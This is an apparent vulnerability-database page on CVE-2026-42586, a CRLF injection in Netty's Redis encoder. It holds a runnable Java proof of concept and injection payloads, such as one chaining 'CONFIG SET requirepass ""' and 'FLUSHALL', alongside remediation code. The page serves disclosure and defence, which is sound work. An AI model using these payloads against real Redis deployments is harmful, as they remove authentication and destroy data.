Skip to main content

Netty Redis Codec CVE-2026-42586

MEDIUM
Improper Neutralization of CRLF Sequences ('CRLF Injection') (CWE-93)
2026-05-07 https://github.com/netty/netty GHSA-rgrr-p7gp-5xj7
6.8
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
6.8 MEDIUM
AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
SUSE
MEDIUM
qualitative
Red Hat
6.8 MEDIUM
qualitative

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
May 07, 2026 - 00:46 vuln.today
Analysis Generated
May 07, 2026 - 00:46 vuln.today
CVE Published
May 07, 2026 - 00:24 nvd
MEDIUM 6.8

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 3 maven packages depend on io.netty:netty-codec-redis (3 direct, 0 indirect)

Ecosystem-wide dependent count for version 4.2.0.Alpha1.

DescriptionGitHub Advisory

Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder

1. Vulnerability Summary

FieldValue
ProductNetty
Version4.2.12.Final (and all prior versions with codec-redis)
Componentio.netty.handler.codec.redis.RedisEncoder
Vulnerability TypeCWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection)
ImpactRedis Command Injection / Response Poisoning
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
Confidentiality ImpactHigh
Integrity ImpactHigh
Availability ImpactNone

2. Affected Components

The following classes in the codec-redis module are affected:

  • io.netty.handler.codec.redis.RedisEncoder (encoder - no output validation)
  • io.netty.handler.codec.redis.InlineCommandRedisMessage (no input validation)
  • io.netty.handler.codec.redis.SimpleStringRedisMessage (no input validation)
  • io.netty.handler.codec.redis.ErrorRedisMessage (no input validation)
  • io.netty.handler.codec.redis.AbstractStringRedisMessage (base class - no validation)

3. Vulnerability Description

The Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\r\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses.

Root Cause

In RedisEncoder.java, the writeString() method (lines 103-111) writes content using ByteBufUtil.writeUtf8() without any validation:

java
private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
                                String content, List<Object> out) {
    ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) +
                                     RedisConstants.EOL_LENGTH);
    type.writeTo(buf);
    ByteBufUtil.writeUtf8(buf, content);       // <-- NO CRLF VALIDATION
    buf.writeShort(RedisConstants.EOL_SHORT);   // <-- Appends \r\n
    out.add(buf);
}

The message constructors (InlineCommandRedisMessage, SimpleStringRedisMessage, ErrorRedisMessage) inherit from AbstractStringRedisMessage, which only checks for null:

java
// AbstractStringRedisMessage.java:30-32
AbstractStringRedisMessage(String content) {
    this.content = ObjectUtil.checkNotNull(content, "content");
    // NO CRLF validation
}

Comparison with Similar Fixed CVEs

This vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs:

CVEComponentFix
GHSA-jq43-27x9-3v86SmtpRequestEncoder - SMTP command injectionAdded SmtpUtils.validateSMTPParameters() to check for \r and \n
GHSA-84h7-rjj3-6jx4HttpRequestEncoder - CRLF in URIAdded HttpUtil.validateRequestLineTokens() to check for \r, \n, and SP

The Redis codec has no equivalent validation in either the encoder or the message constructors.

4. Exploitability Prerequisites

This vulnerability is exploitable when all of the following conditions are met:

  1. The application uses Netty's codec-redis module to communicate with a Redis server
  2. User-controlled input is placed into InlineCommandRedisMessage, SimpleStringRedisMessage, or ErrorRedisMessage content
  3. The application does not perform its own CRLF sanitization before constructing these message objects

Important context: Most production Redis clients built on Netty use the RESP array format (ArrayRedisMessage + BulkStringRedisMessage), which uses binary-safe length-prefixed encoding and is not affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters.

Affected use cases include:

  • Custom Redis clients or proxies that use InlineCommandRedisMessage for simplicity
  • Redis middleware/proxy layers that forward SimpleStringRedisMessage or ErrorRedisMessage responses
  • Applications that construct Redis monitoring or diagnostic commands from user input
  • Redis Sentinel or Cluster management tools using inline command format

5. Attack Scenarios

Scenario 1: Redis Command Injection via Inline Commands

When Netty is used as a Redis client or proxy, and user-controlled data is placed into InlineCommandRedisMessage, an attacker can inject arbitrary Redis commands:

java
// Application code that builds Redis commands from user input
String userKey = request.getParameter("key");  // Attacker controls this
InlineCommandRedisMessage msg = new InlineCommandRedisMessage("GET " + userKey);
channel.writeAndFlush(msg);

Attack input: key = "foo\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL"

Result: Three commands sent to Redis:

  1. GET foo
  2. CONFIG SET requirepass "" (removes authentication!)
  3. FLUSHALL (deletes all data!)

Scenario 2: Redis Response Poisoning

When Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses:

java
// Proxy forwarding a simple string response
SimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse);
downstreamChannel.writeAndFlush(response);

Malicious upstream response: "OK\r\n$6\r\nhacked"

Client sees:

  1. Simple String: +OK (expected response)
  2. Bulk String: $6\r\nhacked (injected fake data!)

Scenario 3: Error Message Injection

java
ErrorRedisMessage error = new ErrorRedisMessage("ERR " + errorDetail);

Attack input: errorDetail = "unknown\r\n+FAKE_SUCCESS"

Client sees:

  1. Error: -ERR unknown
  2. Simple String: +FAKE_SUCCESS (injected fake success!)

6. Proof of Concept

Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java)

java
import io.netty.buffer.ByteBuf;
import io.netty.buffer.ByteBufUtil;
import io.netty.buffer.UnpooledByteBufAllocator;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.redis.*;

import java.nio.charset.StandardCharsets;
import java.util.List;
import java.util.ArrayList;

/**
 * PoC: Redis Encoder CRLF Injection Vulnerability
 *
 * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,
 * and ErrorRedisMessage do not validate content for CRLF characters,
 * allowing Redis command injection via the RESP protocol.
 */
public class RedisEncoderCRLFInjectionPoC {

    public static void main(String[] args) {
        System.out.println("=== Netty Redis Encoder CRLF Injection PoC ===\n");

        testInlineCommandInjection();
        testSimpleStringInjection();
        testErrorMessageInjection();

        System.out.println("\n=== PoC Complete ===");
    }

    /**
     * Test 1: Inline Command Injection
     * An attacker-controlled string injected into InlineCommandRedisMessage
     * results in multiple Redis commands being sent.
     */
    static void testInlineCommandInjection() {
        System.out.println("[TEST 1] Inline Command CRLF Injection");
        System.out.println("----------------------------------------");

        // Malicious content: inject FLUSHALL after a benign PING
        String maliciousContent = "PING\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        // This should be rejected but is accepted
        InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   InlineCommandRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // Count how many CRLF-delimited commands are in the output
        String[] commands = encoded.split("\r\n");
        System.out.println("Number of commands parsed by Redis: " + commands.length);
        for (int i = 0; i < commands.length; i++) {
            if (!commands[i].isEmpty()) {
                System.out.println("  Command " + (i + 1) + ": " + commands[i]);
            }
        }

        boolean vulnerable = commands.length > 1;
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Multiple commands injected!" : "NO"));
        System.out.println();
    }

    /**
     * Test 2: SimpleString Response Injection
     * When Netty acts as a Redis proxy/middleware, a malicious SimpleString
     * can inject fake responses to the downstream client.
     */
    static void testSimpleStringInjection() {
        System.out.println("[TEST 2] SimpleString Response CRLF Injection");
        System.out.println("----------------------------------------------");

        // Malicious content: inject a fake bulk string response after OK
        String maliciousContent = "OK\r\n$6\r\nhacked";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   SimpleStringRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // The RESP protocol uses the first byte to determine type:
        // '+' = Simple String, '$' = Bulk String
        // A client parsing this would see:
        // 1. "+OK\r\n"       -> Simple String "OK"
        // 2. "$6\r\nhacked"  -> Bulk String "hacked" (injected!)
        boolean vulnerable = encoded.contains("+OK\r\n$6\r\nhacked");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Response poisoning possible!" : "NO"));
        System.out.println();
    }

    /**
     * Test 3: Error Message Injection
     * Similar to SimpleString but with error messages.
     */
    static void testErrorMessageInjection() {
        System.out.println("[TEST 3] Error Message CRLF Injection");
        System.out.println("--------------------------------------");

        String maliciousContent = "ERR unknown\r\n+INJECTED_OK";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   ErrorRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        boolean vulnerable = encoded.contains("-ERR unknown\r\n+INJECTED_OK");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Error + fake OK injected!" : "NO"));
        System.out.println();
    }
}

How to Compile and Run

bash
# Build Netty (skip tests for speed)
./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \
  -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \
  -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q
# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
  | grep -v sources | grep -v javadoc | tr '\n' ':')
# Compile and run
javac -cp "$JARS" RedisEncoderCRLFInjectionPoC.java
java -cp "$JARS:." RedisEncoderCRLFInjectionPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty Redis Encoder CRLF Injection PoC ===

[TEST 1] Inline Command CRLF Injection
----------------------------------------
Input:   InlineCommandRedisMessage("PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL")
Encoded: "PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL\r\n"
Number of commands parsed by Redis: 3
  Command 1: PING
  Command 2: CONFIG SET requirepass ""
  Command 3: FLUSHALL
VULNERABLE: YES - Multiple commands injected!

[TEST 2] SimpleString Response CRLF Injection
----------------------------------------------
Input:   SimpleStringRedisMessage("OK\r\n$6\r\nhacked")
Encoded: "+OK\r\n$6\r\nhacked\r\n"
VULNERABLE: YES - Response poisoning possible!

[TEST 3] Error Message CRLF Injection
--------------------------------------
Input:   ErrorRedisMessage("ERR unknown\r\n+INJECTED_OK")
Encoded: "-ERR unknown\r\n+INJECTED_OK\r\n"
VULNERABLE: YES - Error + fake OK injected!


=== PoC Complete ===

7. Impact Analysis

Impact CategoryDescription
ConfidentialityHIGH - Attacker can execute CONFIG GET to extract sensitive Redis configuration, use KEYS * to enumerate all data
IntegrityHIGH - Attacker can execute SET/DEL/FLUSHALL to modify or destroy data, CONFIG SET to change server configuration
AvailabilityCan be HIGH - FLUSHALL destroys all data, SHUTDOWN stops the server, DEBUG SLEEP causes DoS
Authentication BypassCONFIG SET requirepass "" removes authentication
Data ExfiltrationLua scripting via EVAL enables complex data extraction

8. Remediation Recommendations

Option 1: Validate in Message Constructors (Recommended)

Add CRLF validation to AbstractStringRedisMessage:

java
AbstractStringRedisMessage(String content) {
    this.content = ObjectUtil.checkNotNull(content, "content");
    validateContent(content);
}

private static void validateContent(String content) {
    for (int i = 0; i < content.length(); i++) {
        char c = content.charAt(i);
        if (c == '\r' || c == '\n') {
            throw new IllegalArgumentException(
                "Redis message content contains illegal CRLF character at index " + i);
        }
    }
}

Option 2: Validate in Encoder (Defense-in-Depth)

Add validation in RedisEncoder.writeString():

java
private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
                                String content, List<Object> out) {
    for (int i = 0; i < content.length(); i++) {
        char c = content.charAt(i);
        if (c == '\r' || c == '\n') {
            throw new RedisCodecException(
                "Redis message content contains CRLF at index " + i);
        }
    }
    // ... existing encoding logic
}

Option 3: Both (Best Practice)

Apply validation in both the constructor and the encoder, following the pattern used for SMTP:

  • SmtpUtils.validateSMTPParameters() validates in DefaultSmtpRequest constructor
  • This provides defense-in-depth against custom SmtpRequest implementations

9. Resources

AnalysisAI

CRLF injection in Netty's RedisEncoder allows remote command injection and response poisoning by injecting carriage return and line feed characters into InlineCommandRedisMessage, SimpleStringRedisMessage, and ErrorRedisMessage objects. Attackers can inject arbitrary Redis commands (such as CONFIG SET, FLUSHALL, or authentication bypass) or forge fake responses when user-controlled input is placed into these message types without sanitization. The vulnerability affects Netty 4.2.12.Final and all prior versions with the codec-redis module; no active exploitation has been reported in CISA KEV, but publicly available proof-of-concept code demonstrates the vulnerability.

Technical ContextAI

The Redis Serialization Protocol (RESP) uses CRLF (\r\n) characters as command and response delimiters. Netty's io.netty.handler.codec.redis.RedisEncoder class encodes message objects by writing string content directly to a ByteBuf using ByteBufUtil.writeUtf8() without validating for CRLF sequences. The affected message classes-InlineCommandRedisMessage, SimpleStringRedisMessage, ErrorRedisMessage, and their base class AbstractStringRedisMessage-contain no CRLF validation in their constructors, only null checks. When an attacker-controlled string containing \r\n is passed to these constructors and subsequently encoded by RedisEncoder, the encoder appends its own CRLF delimiter, resulting in multiple RESP protocol segments being written to the output buffer. A Redis server receiving this output interprets each CRLF-delimited segment as a separate command or response. This is a class of vulnerability (CWE-93: Improper Neutralization of CRLF Sequences) previously exploited in Netty's SMTP codec (GHSA-jq43-27x9-3v86) and HTTP codec (GHSA-84h7-rjj3-6jx4), both now fixed with validation utilities, but no equivalent fix has been applied to the Redis codec.

RemediationAI

No vendor-released patch has been identified at the time of analysis. However, remediation follows patterns established in Netty's prior CRLF injection fixes (GHSA-jq43-27x9-3v86 for SMTP, GHSA-84h7-rjj3-6jx4 for HTTP). The recommended fix is to add CRLF validation in the AbstractStringRedisMessage constructor and in RedisEncoder.writeString() method to reject any content containing carriage return (\r) or line feed (\n) characters, raising an IllegalArgumentException or RedisCodecException. A temporary compensating control is to validate all string inputs before constructing InlineCommandRedisMessage, SimpleStringRedisMessage, or ErrorRedisMessage objects-strip or reject any string containing \r or \n. Additionally, applications should prefer the binary-safe RESP array and bulk-string format (ArrayRedisMessage with BulkStringRedisMessage) over inline command and simple-string modes, as these formats are not vulnerable to CRLF injection due to length-prefixed encoding. Organizations should monitor the Netty GitHub security advisories page (https://github.com/netty/netty/security/advisories/) for a patched release and upgrade immediately upon availability. Until a patch is released, restrict access to the Redis protocol handler via network ACLs and firewall rules, and ensure that untrusted user input does not reach message construction functions.

More in Redis

View all
CVE-2026-48172 CRITICAL POC
10.0 May 21

LiteSpeed User-End cPanel Plugin before 2.4.5 allows privilege escalation (possibly to root), as exploited in the wild i

CVE-2025-49844 CRITICAL POC
9.9 Oct 03

UAF in Redis 8.2.1 via crafted Lua scripts by authenticated users. EPSS 12.4%. Patch available.

CVE-2022-0543 CRITICAL POC
10.0 Feb 18

It was discovered, that redis, a persistent key-value database, due to a packaging issue, is prone to a (Debian-specific

CVE-2018-11218 CRITICAL POC
9.8 Jun 17

Memory Corruption was discovered in the cmsgpack library in the Lua subsystem in Redis before 3.2.12, 4.x before 4.0.10,

CVE-2025-46817 HIGH POC
7.0 Oct 03

Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user

CVE-2015-4335 CRITICAL POC
10.0 Jun 09

Redis before 2.8.21 and 3.x before 3.0.2 allows remote attackers to execute arbitrary Lua bytecode via the eval command.

CVE-2016-8339 CRITICAL POC
9.8 Oct 28

A buffer overflow in Redis 3.2.x prior to 3.2.4 causes arbitrary code execution when a crafted command is sent. Rated cr

CVE-2026-27574 CRITICAL POC
9.9 Feb 21

Code injection in OneUptime monitoring via custom JS monitor using vm module. PoC and patch available.

CVE-2021-31649 CRITICAL POC
9.8 Jun 24

In applications using jfinal 4.9.08 and below, there is a deserialization vulnerability when using redis,may be vulnerab

CVE-2020-11981 CRITICAL POC
9.8 Jul 17

An issue was found in Apache Airflow versions 1.10.10 and below. Rated critical severity (CVSS 9.8), this vulnerability

CVE-2018-11219 CRITICAL POC
9.8 Jun 17

An Integer Overflow issue was discovered in the struct library in the Lua subsystem in Redis before 3.2.12, 4.x before 4

CVE-2024-23998 CRITICAL POC
9.6 Jul 05

goanother Another Redis Desktop Manager =<1.6.1 is vulnerable to Cross Site Scripting (XSS) via src/components/Setting.v

Vendor StatusVendor

SUSE

Severity: Medium
Product Status
openSUSE Tumbleweed Fixed
SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS Affected
SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS Affected
SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS Affected
SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS Affected

Share

CVE-2026-42586 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy